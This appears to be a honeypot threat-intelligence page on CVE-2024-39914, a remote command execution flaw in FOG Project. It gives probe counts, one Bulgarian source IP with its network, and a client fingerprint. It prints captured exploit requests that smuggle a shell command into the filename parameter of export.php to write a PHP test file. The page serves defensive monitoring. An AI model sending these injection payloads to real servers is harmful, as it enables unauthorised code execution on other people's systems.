CVE-2024-39914: FOG Project < 1.5.10.34 - Remote Command Execution

HoneyLabs honeypots recorded 6 probes matching CVE-2024-39914 from 1 distinct source IP address in the last 7 days. Severity is rated critical.

Request paths that identify it

  • /management/export.php?filename=$(echo+'<?php+echo+md5({{*}});+?>'+>+{{*}}.php)&type=pdf

Addresses probing it

Source IPProbesNetworkCountry
93.123.109.2146Techoff Srv LimitedBulgaria

Networks it comes from

ASNOrganisationProbesSource IPs
AS48090Techoff Srv Limited61

Where it comes from

CountryProbes
Bulgaria6

Captured requests

  • /management/export.php?filename=$(echo+'<?php+echo+md5(1953);+?>'+>+tmwjmfdfjovu.php)&type=pdf
  • /management/export.php?filename=$(echo+'<?php+echo+md5(9463);+?>'+>+brjnmywloogg.php)&type=pdf
  • /management/export.php?filename=$(echo+'<?php+echo+md5(3300);+?>'+>+wddwubfsqnhb.php)&type=pdf
  • /management/export.php?filename=$(echo+'<?php+echo+md5(1519);+?>'+>+zcxvnyscebdb.php)&type=pdf

HTTP client fingerprints

  • b11cuq060_00050813_95cc9d02

CVE report

CVE report

Open a specific CVE from the CVE tracker.